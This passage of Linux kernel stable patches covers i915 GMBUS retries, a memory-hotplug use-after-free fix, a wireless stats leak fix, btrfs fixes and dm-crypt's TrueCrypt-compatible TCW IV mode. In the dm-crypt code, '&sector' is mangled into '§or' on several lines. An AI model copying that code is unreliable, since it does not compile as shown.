+ n = (len - (sizeof(struct oz_multiple_fixed) - 1)) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, -- cgit v1.2.3 From 57d5697f3ab394c813f31fe53fa242616eba2595 Mon Sep 17 00:00:00 2001 From: Aaro Koskinen Date: Mon, 8 Jun 2015 11:32:43 +0300 Subject: pata_octeon_cf: fix broken build commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream. MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that. Signed-off-by: Aaro Koskinen Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/pata_octeon_cf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/ata/pata_octeon_cf.c b/drivers/ata/pata_octeon_cf.c index e73bef3093d2..5507f36a06b4 100644 --- a/drivers/ata/pata_octeon_cf.c +++ b/drivers/ata/pata_octeon_cf.c @@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_match[] = { }, {}, }; -MODULE_DEVICE_TABLE(of, octeon_i2c_match); +MODULE_DEVICE_TABLE(of, octeon_cf_match); static struct platform_driver octeon_cf_driver = { .probe = octeon_cf_probe, -- cgit v1.2.3 From a0e4eeff39de234d644f00aab27d23a344309b29 Mon Sep 17 00:00:00 2001 From: Jani Nikula Date: Tue, 2 Jun 2015 19:21:15 +0300 Subject: drm/i915: Fix DDC probe for passive adapters MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream. Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e1f5c79400254dca46f83313488093825 Author: Eugeni Dodonov Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64cda8569d0529452aafc0da31c042df2e Author: Chris Wilson Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte . [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville). Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 Cc: Todd Previte Tested-by: Oliver Grafe (v2) Tested-by: Jim Bride Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/i915/intel_i2c.c | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/drivers/gpu/drm/i915/intel_i2c.c b/drivers/gpu/drm/i915/intel_i2c.c index 4a21e13cc58c..d5e666fb459c 100644 --- a/drivers/gpu/drm/i915/intel_i2c.c +++ b/drivers/gpu/drm/i915/intel_i2c.c @@ -441,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter, struct intel_gmbus, adapter); struct drm_i915_private *dev_priv = bus->dev_priv; - int i, reg_offset; + int i = 0, inc, try = 0, reg_offset; int ret = 0; mutex_lock(&dev_priv->gmbus_mutex); @@ -453,12 +453,14 @@ gmbus_xfer(struct i2c_adapter *adapter, reg_offset = dev_priv->gpio_mmio_base; +retry: I915_WRITE(GMBUS0 + reg_offset, bus->reg0); - for (i = 0; i < num; i++) { + for (; i < num; i += inc) { + inc = 1; if (gmbus_is_index_read(msgs, i, num)) { ret = gmbus_xfer_index_read(dev_priv, &msgs[i]); - i += 1; /* set i to the index of the read xfer */ + inc = 2; /* an index read is two msgs */ } else if (msgs[i].flags & I2C_M_RD) { ret = gmbus_xfer_read(dev_priv, &msgs[i], 0); } else { @@ -530,6 +532,18 @@ clear_err: adapter->name, msgs[i].addr, (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len); + /* + * Passive adapters sometimes NAK the first probe. Retry the first + * message once on -ENXIO for GMBUS transfers; the bit banging algorithm + * has retries internally. See also the retry loop in + * drm_do_probe_ddc_edid, which bails out on the first -ENXIO. + */ + if (ret == -ENXIO && i == 0 && try++ == 0) { + DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n", + adapter->name); + goto retry; + } + goto out; timeout: -- cgit v1.2.3 From 31c6d4e4ff5061e7be65166bdce7bfa59e3a351c Mon Sep 17 00:00:00 2001 From: Gu Zheng Date: Wed, 10 Jun 2015 11:14:43 -0700 Subject: mm/memory_hotplug.c: set zone->wait_table to null after freeing it commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream. Izumi found the following oops when hot re-adding a node: BUG: unable to handle kernel paging request at ffffc90008963690 IP: __wake_up_bit+0x20/0x70 Oops: 0000 [#1] SMP CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 RIP: 0010:[] [] __wake_up_bit+0x20/0x70 RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 Call Trace: unlock_page+0x6d/0x70 generic_write_end+0x53/0xb0 xfs_vm_write_end+0x29/0x80 [xfs] generic_perform_write+0x10a/0x1e0 xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] xfs_file_write_iter+0x79/0x120 [xfs] __vfs_write+0xd4/0x110 vfs_write+0xac/0x1c0 SyS_write+0x58/0xd0 system_call_fastpath+0x12/0x76 Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 RIP [] __wake_up_bit+0x20/0x70 RSP CR2: ffffc90008963690 Reproduce method (re-add a node):: Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node. When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above. Signed-off-by: Gu Zheng Reported-by: Taku Izumi Reviewed by: Yasuaki Ishimatsu Cc: KAMEZAWA Hiroyuki Cc: Tang Chen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- mm/memory_hotplug.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/mm/memory_hotplug.c b/mm/memory_hotplug.c index 2298237db142..d85d3a0e06ce 100644 --- a/mm/memory_hotplug.c +++ b/mm/memory_hotplug.c @@ -1803,8 +1803,10 @@ void try_offline_node(int nid) * wait_table may be allocated from boot memory, * here only free if it's allocated by vmalloc. */ - if (is_vmalloc_addr(zone->wait_table)) + if (is_vmalloc_addr(zone->wait_table)) { vfree(zone->wait_table); + zone->wait_table = NULL; + } } } EXPORT_SYMBOL(try_offline_node); -- cgit v1.2.3 From 98d94f20a39ab94559783c0556142f7bf4d0788f Mon Sep 17 00:00:00 2001 From: Johannes Berg Date: Tue, 9 Jun 2015 21:35:44 +0200 Subject: cfg80211: wext: clear sinfo struct before calling driver commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream. Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 Reported-by: Gerrit Renker Reported-by: Alexander Kaltsas Signed-off-by: Johannes Berg Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/wireless/wext-compat.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/net/wireless/wext-compat.c b/net/wireless/wext-compat.c index d997d0f0c54a..18a7a7b112ef 100644 --- a/net/wireless/wext-compat.c +++ b/net/wireless/wext-compat.c @@ -1345,6 +1345,8 @@ static struct iw_statistics *cfg80211_wireless_stats(struct net_device *dev) memcpy(bssid, wdev->current_bss->pub.bssid, ETH_ALEN); wdev_unlock(wdev); + memset(&sinfo, 0, sizeof(sinfo)); + if (rdev_get_station(rdev, dev, bssid, &sinfo)) return NULL; -- cgit v1.2.3 From 8d1529ce127e87e98782c3d23302171cc8627ee6 Mon Sep 17 00:00:00 2001 From: Chengyu Song Date: Tue, 24 Mar 2015 18:12:56 -0400 Subject: btrfs: incorrect handling for fiemap_fill_next_extent return commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream. fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl. Signed-off-by: Chengyu Song Reviewed-by: David Sterba Reviewed-by: Liu Bo Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman --- fs/btrfs/extent_io.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/fs/btrfs/extent_io.c b/fs/btrfs/extent_io.c index 84ceff6abbc1..be7e31a933e5 100644 --- a/fs/btrfs/extent_io.c +++ b/fs/btrfs/extent_io.c @@ -4080,8 +4080,11 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, } ret = fiemap_fill_next_extent(fieinfo, em_start, disko, em_len, flags); - if (ret) + if (ret) { + if (ret == 1) + ret = 0; goto out_free; + } } out_free: free_extent_map(em); -- cgit v1.2.3 From 9272a6ce689017768367afb10df032f8acce3797 Mon Sep 17 00:00:00 2001 From: Jeff Mahoney Date: Fri, 20 Mar 2015 14:02:09 -0400 Subject: btrfs: cleanup orphans while looking up default subvolume commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream. Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman --- fs/btrfs/super.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c index f0857e092a3c..68891ff7e5d4 100644 --- a/fs/btrfs/super.c +++ b/fs/btrfs/super.c @@ -779,6 +779,15 @@ find_root: if (btrfs_root_refs(&new_root->root_item) == 0) return ERR_PTR(-ENOENT); + if (!(sb->s_flags & MS_RDONLY)) { + int ret; + down_read(&fs_info->cleanup_work_sem); + ret = btrfs_orphan_cleanup(new_root); + up_read(&fs_info->cleanup_work_sem); + if (ret) + return ERR_PTR(ret); + } + dir_id = btrfs_root_dirid(&new_root->root_item); setup_root: location.objectid = dir_id; -- cgit v1.2.3 From 28114597f84ea08d0f61f0a60aa23176ec36004a Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Mon, 22 Jun 2015 16:56:08 -0700 Subject: Linux 3.10.81 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 067433219984..6d19e37d36d5 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 80 +SUBLEVEL = 81 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From 3cd53f7be1bb2cdc2d47e96a81084de15b4172db Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Tue, 30 Jul 2013 08:40:21 -0400 Subject: dm: stop using WQ_NON_REENTRANT dbf2576e37 ("workqueue: make all workqueues non-reentrant") made WQ_NON_REENTRANT no-op and the flag is going away. Remove its usages. This patch doesn't introduce any behavior changes. Signed-off-by: Tejun Heo Signed-off-by: Mike Snitzer Signed-off-by: Alasdair G Kergon Acked-by: Joe Thornber (cherry picked from commit 670368a8ddc5df56437444c33b8089afc547c30a) Signed-off-by: Alex Shi --- drivers/md/dm-crypt.c | 10 ++-------- drivers/md/dm-kcopyd.c | 3 +-- drivers/md/dm-raid1.c | 3 +-- drivers/md/dm.c | 3 +-- 4 files changed, 5 insertions(+), 14 deletions(-) diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index 7409d79729ee..0f64dc596bce 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -1620,20 +1620,14 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) } ret = -ENOMEM; - cc->io_queue = alloc_workqueue("kcryptd_io", - WQ_NON_REENTRANT| - WQ_MEM_RECLAIM, - 1); + cc->io_queue = alloc_workqueue("kcryptd_io", WQ_MEM_RECLAIM, 1); if (!cc->io_queue) { ti->error = "Couldn't create kcryptd io queue"; goto bad; } cc->crypt_queue = alloc_workqueue("kcryptd", - WQ_NON_REENTRANT| - WQ_CPU_INTENSIVE| - WQ_MEM_RECLAIM, - 1); + WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM, 1); if (!cc->crypt_queue) { ti->error = "Couldn't create kcryptd queue"; goto bad; diff --git a/drivers/md/dm-kcopyd.c b/drivers/md/dm-kcopyd.c index d581fe5d2faf..3a7cade5e27d 100644 --- a/drivers/md/dm-kcopyd.c +++ b/drivers/md/dm-kcopyd.c @@ -833,8 +833,7 @@ struct dm_kcopyd_client *dm_kcopyd_client_create(struct dm_kcopyd_throttle *thro goto bad_slab; INIT_WORK(&kc->kcopyd_work, do_work); - kc->kcopyd_wq = alloc_workqueue("kcopyd", - WQ_NON_REENTRANT | WQ_MEM_RECLAIM, 0); + kc->kcopyd_wq = alloc_workqueue("kcopyd", WQ_MEM_RECLAIM, 0); if (!kc->kcopyd_wq) goto bad_workqueue; diff --git a/drivers/md/dm-raid1.c b/drivers/md/dm-raid1.c index 678556b8ee4d..9388c3654f0a 100644 --- a/drivers/md/dm-raid1.c +++ b/drivers/md/dm-raid1.c @@ -1089,8 +1089,7 @@ static int mirror_ctr(struct dm_target *ti, unsigned int argc, char **argv) ti->per_bio_data_size = sizeof(struct dm_raid1_bio_record); ti->discard_zeroes_data_unsupported = true; - ms->kmirrord_wq = alloc_workqueue("kmirrord", - WQ_NON_REENTRANT | WQ_MEM_RECLAIM, 0); + ms->kmirrord_wq = alloc_workqueue("kmirrord", WQ_MEM_RECLAIM, 0); if (!ms->kmirrord_wq) { DMERR("couldn't start kmirrord"); r = -ENOMEM; diff --git a/drivers/md/dm.c b/drivers/md/dm.c index f69fed826a56..2c77eda622cd 100644 --- a/drivers/md/dm.c +++ b/drivers/md/dm.c @@ -1915,8 +1915,7 @@ static struct mapped_device *alloc_dev(int minor) add_disk(md->disk); format_dev_t(md->name, MKDEV(_major, minor)); - md->wq = alloc_workqueue("kdmflush", - WQ_NON_REENTRANT | WQ_MEM_RECLAIM, 0); + md->wq = alloc_workqueue("kdmflush", WQ_MEM_RECLAIM, 0); if (!md->wq) goto bad_thread; -- cgit v1.2.3 From 797cd96ddf07f958b9f4786e03003e96a49c8d9a Mon Sep 17 00:00:00 2001 From: Milan Broz Date: Mon, 28 Oct 2013 23:21:03 +0100 Subject: dm crypt: properly handle extra key string in initialization Some encryption modes use extra keys (e.g. loopAES has IV seed) which are not used in block cipher initialization but are part of key string in table constructor. This patch adds an additional field which describes the length of the extra key(s) and substracts it before real key encryption setting. The key_size always includes the size, in bytes, of the key provided in mapping table. The key_parts describes how many parts (usually keys) are contained in the whole key buffer. And key_extra_size contains size in bytes of additional keys part (this number of bytes must be subtracted because it is processed by the IV generator). | K1 | K2 | .... | K64 | Kiv | |----------- key_size ----------------- | | |-key_extra_size-| | [64 keys] | [1 key] | => key_parts = 65 Example where key string contains main key K, whitening key Kw and IV seed Kiv: | K | Kiv | Kw | |--------------- key_size --------------| | |-----key_extra_size------| | [1 key] | [1 key] | [1 key] | => key_parts = 3 Because key_extra_size is calculated during IV mode setting, key initialization is moved after this step. For now, this change has no effect to supported modes (thanks to ilog2 rounding) but it is required by the following patch. Also, fix a sparse warning in crypt_iv_lmk_one(). Signed-off-by: Milan Broz Signed-off-by: Mike Snitzer (cherry picked from commit da31a0787a2ac92dd219ce0d33322160b66d6a01) Signed-off-by: Alex Shi --- drivers/md/dm-crypt.c | 29 ++++++++++++++++++----------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index 0f64dc596bce..f2473c51c341 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -157,7 +157,8 @@ struct crypt_config { unsigned long flags; unsigned int key_size; - unsigned int key_parts; + unsigned int key_parts; /* independent parts in key buffer */ + unsigned int key_extra_size; /* additional keys length */ u8 key[0]; }; @@ -511,7 +512,7 @@ static int crypt_iv_lmk_one(struct crypt_config *cc, u8 *iv, char ctx[crypto_shash_descsize(lmk->hash_tfm)]; } sdesc; struct md5_state md5state; - u32 buf[4]; + __le32 buf[4]; int i, r; sdesc.desc.tfm = lmk->hash_tfm; @@ -1256,9 +1257,12 @@ static int crypt_alloc_tfms(struct crypt_config *cc, char *ciphermode) static int crypt_setkey_allcpus(struct crypt_config *cc) { - unsigned subkey_size = cc->key_size >> ilog2(cc->tfms_count); + unsigned subkey_size; int err = 0, i, r; + /* Ignore extra keys (which are used for IV etc) */ + subkey_size = (cc->key_size - cc->key_extra_size) >> ilog2(cc->tfms_count); + for (i = 0; i < cc->tfms_count; i++) { r = crypto_ablkcipher_setkey(cc->tfms[i], cc->key + (i * subkey_size), @@ -1379,6 +1383,7 @@ static int crypt_ctr_cipher(struct dm_target *ti, return -EINVAL; } cc->key_parts = cc->tfms_count; + cc->key_extra_size = 0; cc->cipher = kstrdup(cipher, GFP_KERNEL); if (!cc->cipher) @@ -1423,13 +1428,6 @@ static int crypt_ctr_cipher(struct dm_target *ti, goto bad; } - /* Initialize and set key */ - ret = crypt_set_key(cc, key); - if (ret < 0) { - ti->error = "Error decoding and setting key"; - goto bad; - } - /* Initialize IV */ cc->iv_size = crypto_ablkcipher_ivsize(any_tfm(cc)); if (cc->iv_size) @@ -1460,14 +1458,23 @@ static int crypt_ctr_cipher(struct dm_target *ti, * to length of provided multi-key string. * If present (version 3), last key is used as IV seed. */ - if (cc->key_size % cc->key_parts) + if (cc->key_size % cc->key_parts) { cc->key_parts++; + cc->key_extra_size = cc->key_size / cc->key_parts; + } } else { ret = -EINVAL; ti->error = "Invalid IV mode"; goto bad; } + /* Initialize and set key */ + ret = crypt_set_key(cc, key); + if (ret < 0) { + ti->error = "Error decoding and setting key"; + goto bad; + } + /* Allocate IV */ if (cc->iv_gen_ops && cc->iv_gen_ops->ctr) { ret = cc->iv_gen_ops->ctr(cc, ti, ivopts); -- cgit v1.2.3 From 0db03f43a007e764bf2a747e9cf742e07eb72b9a Mon Sep 17 00:00:00 2001 From: Milan Broz Date: Mon, 28 Oct 2013 23:21:04 +0100 Subject: dm crypt: add TCW IV mode for old CBC TCRYPT containers dm-crypt can already activate TCRYPT (TrueCrypt compatible) containers in LRW or XTS block encryption mode. TCRYPT containers prior to version 4.1 use CBC mode with some additional tweaks, this patch adds support for these containers. This new mode is implemented using special IV generator named TCW (TrueCrypt IV with whitening). TCW IV only supports containers that are encrypted with one cipher (Tested with AES, Twofish, Serpent, CAST5 and TripleDES). While this mode is legacy and is known to be vulnerable to some watermarking attacks (e.g. revealing of hidden disk existence) it can still be useful to activate old containers without using 3rd party software or for independent forensic analysis of such containers. (Both the userspace and kernel code is an independent implementation based on the format documentation and it completely avoids use of original source code.) The TCW IV generator uses two additional keys: Kw (whitening seed, size is always 16 bytes - TCW_WHITENING_SIZE) and Kiv (IV seed, size is always the IV size of the selected cipher). These keys are concatenated at the end of the main encryption key provided in mapping table. While whitening is completely independent from IV, it is implemented inside IV generator for simplification. The whitening value is always 16 bytes long and is calculated per sector from provided Kw as initial seed, xored with sector number and mixed with CRC32 algorithm. Resulting value is xored with ciphertext sector content. IV is calculated from the provided Kiv as initial IV seed and xored with sector number. Detailed calculation can be found in the Truecrypt documentation for version < 4.1 and will also be described on dm-crypt site, see: http://code.google.com/p/cryptsetup/wiki/DMCrypt The experimental support for activation of these containers is already present in git devel brach of cryptsetup. Signed-off-by: Milan Broz Signed-off-by: Mike Snitzer (cherry picked from commit ed04d98169f1c33ebc79f510c855eed83924d97f) Signed-off-by: Alex Shi --- Documentation/device-mapper/dm-crypt.txt | 11 +- drivers/md/dm-crypt.c | 185 ++++++++++++++++++++++++++++++- 2 files changed, 192 insertions(+), 4 deletions(-) diff --git a/Documentation/device-mapper/dm-crypt.txt b/Documentation/device-mapper/dm-crypt.txt index 2c656ae43ba7..c81839b52c4d 100644 --- a/Documentation/device-mapper/dm-crypt.txt +++ b/Documentation/device-mapper/dm-crypt.txt @@ -4,12 +4,15 @@ dm-crypt Device-Mapper's "crypt" target provides transparent encryption of block devices using the kernel crypto API. +For a more detailed description of supported parameters see: +http://code.google.com/p/cryptsetup/wiki/DMCrypt + Parameters: \ [<#opt_params> ] Encryption cipher and an optional IV generation mode. - (In format cipher[:keycount]-chainmode-ivopts:ivmode). + (In format cipher[:keycount]-chainmode-ivmode[:ivopts]). Examples: des aes-cbc-essiv:sha256 @@ -19,7 +22,11 @@ Parameters: \ Key used for encryption. It is encoded as a hexadecimal number. - You can only use key sizes that are valid for the selected cipher. + You can only use key sizes that are valid for the selected cipher + in combination with the selected iv mode. + Note that for some iv modes the key string can contain additional + keys (for example IV seed) so the key contains more parts concatenated + into a single string. Multi-key compatibility mode. You can define keys and diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index f2473c51c341..fc8c10d2e6e2 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -2,6 +2,7 @@ * Copyright (C) 2003 Christophe Saout * Copyright (C) 2004 Clemens Fruhwirth * Copyright (C) 2006-2009 Red Hat, Inc. All rights reserved. + * Copyright (C) 2013 Milan Broz * * This file is released under the GPL. */ @@ -98,6 +99,13 @@ struct iv_lmk_private { u8 *seed; }; +#define TCW_WHITENING_SIZE 16 +struct iv_tcw_private { + struct crypto_shash *crc32_tfm; + u8 *iv_seed; + u8 *whitening; +}; + /* * Crypt: maps a linear range of a block device * and encrypts / decrypts at the same time. @@ -131,6 +139,7 @@ struct crypt_config { struct iv_essiv_private essiv; struct iv_benbi_private benbi; struct iv_lmk_private lmk; + struct iv_tcw_private tcw; } iv_gen_private; sector_t iv_offset; unsigned int iv_size; @@ -212,6 +221,16 @@ static struct crypto_ablkcipher *any_tfm(struct crypt_config *cc) * version 3: the same as version 2 with additional IV seed * (it uses 65 keys, last key is used as IV seed) * + * tcw: Compatible implementation of the block chaining mode used + * by the TrueCrypt device encryption system (prior to version 4.1). + * For more info see: http://www.truecrypt.org + * It operates on full 512 byte sectors and uses CBC + * with an IV derived from initial key and the sector number. + * In addition, whitening value is applied on every sector, whitening + * is calculated from initial key, sector number and mixed using CRC32. + * Note that this encryption scheme is vulnerable to watermarking attacks + * and should be used for old compatible containers access only. + * * plumb: unimplemented, see: * http://article.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/454 */ @@ -590,6 +609,153 @@ static int crypt_iv_lmk_post(struct crypt_config *cc, u8 *iv, return r; } +static void crypt_iv_tcw_dtr(struct crypt_config *cc) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + + kzfree(tcw->iv_seed); + tcw->iv_seed = NULL; + kzfree(tcw->whitening); + tcw->whitening = NULL; + + if (tcw->crc32_tfm && !IS_ERR(tcw->crc32_tfm)) + crypto_free_shash(tcw->crc32_tfm); + tcw->crc32_tfm = NULL; +} + +static int crypt_iv_tcw_ctr(struct crypt_config *cc, struct dm_target *ti, + const char *opts) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + + if (cc->key_size <= (cc->iv_size + TCW_WHITENING_SIZE)) { + ti->error = "Wrong key size for TCW"; + return -EINVAL; + } + + tcw->crc32_tfm = crypto_alloc_shash("crc32", 0, 0); + if (IS_ERR(tcw->crc32_tfm)) { + ti->error = "Error initializing CRC32 in TCW"; + return PTR_ERR(tcw->crc32_tfm); + } + + tcw->iv_seed = kzalloc(cc->iv_size, GFP_KERNEL); + tcw->whitening = kzalloc(TCW_WHITENING_SIZE, GFP_KERNEL); + if (!tcw->iv_seed || !tcw->whitening) { + crypt_iv_tcw_dtr(cc); + ti->error = "Error allocating seed storage in TCW"; + return -ENOMEM; + } + + return 0; +} + +static int crypt_iv_tcw_init(struct crypt_config *cc) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + int key_offset = cc->key_size - cc->iv_size - TCW_WHITENING_SIZE; + + memcpy(tcw->iv_seed, &cc->key[key_offset], cc->iv_size); + memcpy(tcw->whitening, &cc->key[key_offset + cc->iv_size], + TCW_WHITENING_SIZE); + + return 0; +} + +static int crypt_iv_tcw_wipe(struct crypt_config *cc) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + + memset(tcw->iv_seed, 0, cc->iv_size); + memset(tcw->whitening, 0, TCW_WHITENING_SIZE); + + return 0; +} + +static int crypt_iv_tcw_whitening(struct crypt_config *cc, + struct dm_crypt_request *dmreq, + u8 *data) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + u64 sector = cpu_to_le64((u64)dmreq->iv_sector); + u8 buf[TCW_WHITENING_SIZE]; + struct { + struct shash_desc desc; + char ctx[crypto_shash_descsize(tcw->crc32_tfm)]; + } sdesc; + int i, r; + + /* xor whitening with sector number */ + memcpy(buf, tcw->whitening, TCW_WHITENING_SIZE); + crypto_xor(buf, (u8 *)§or, 8); + crypto_xor(&buf[8], (u8 *)§or, 8); + + /* calculate crc32 for every 32bit part and xor it */ + sdesc.desc.tfm = tcw->crc32_tfm; + sdesc.desc.flags = CRYPTO_TFM_REQ_MAY_SLEEP; + for (i = 0; i < 4; i++) { + r = crypto_shash_init(&sdesc.desc); + if (r) + goto out; + r = crypto_shash_update(&sdesc.desc, &buf[i * 4], 4); + if (r) + goto out; + r = crypto_shash_final(&sdesc.desc, &buf[i * 4]); + if (r) + goto out; + } + crypto_xor(&buf[0], &buf[12], 4); + crypto_xor(&buf[4], &buf[8], 4); + + /* apply whitening (8 bytes) to whole sector */ + for (i = 0; i < ((1 << SECTOR_SHIFT) / 8); i++) + crypto_xor(data + i * 8, buf, 8); +out: + memset(buf, 0, sizeof(buf)); + return r; +} + +static int crypt_iv_tcw_gen(struct crypt_config *cc, u8 *iv, + struct dm_crypt_request *dmreq) +{ + struct iv_tcw_private *tcw = &cc->iv_gen_private.tcw; + u64 sector = cpu_to_le64((u64)dmreq->iv_sector); + u8 *src; + int r = 0; + + /* Remove whitening from ciphertext */ + if (bio_data_dir(dmreq->ctx->bio_in) != WRITE) { + src = kmap_atomic(sg_page(&dmreq->sg_in)); + r = crypt_iv_tcw_whitening(cc, dmreq, src + dmreq->sg_in.offset); + kunmap_atomic(src); + } + + /* Calculate IV */ + memcpy(iv, tcw->iv_seed, cc->iv_size); + crypto_xor(iv, (u8 *)§or, 8); + if (cc->iv_size > 8) + crypto_xor(&iv[8], (u8 *)§or, cc->iv_size - 8); + + return r; +} + +static int crypt_iv_tcw_post(struct crypt_config *cc, u8 *iv, + struct dm_crypt_request *dmreq) +{ + u8 *dst; + int r; + + if (bio_data_dir(dmreq->ctx->bio_in) != WRITE) + return 0; + + /* Apply whitening on ciphertext */ + dst = kmap_atomic(sg_page(&dmreq->sg_out)); + r = crypt_iv_tcw_whitening(cc, dmreq, dst + dmreq->sg_out.offset); + kunmap_atomic(dst); + + return r; +} + static struct crypt_iv_operations crypt_iv_plain_ops = { .generator = 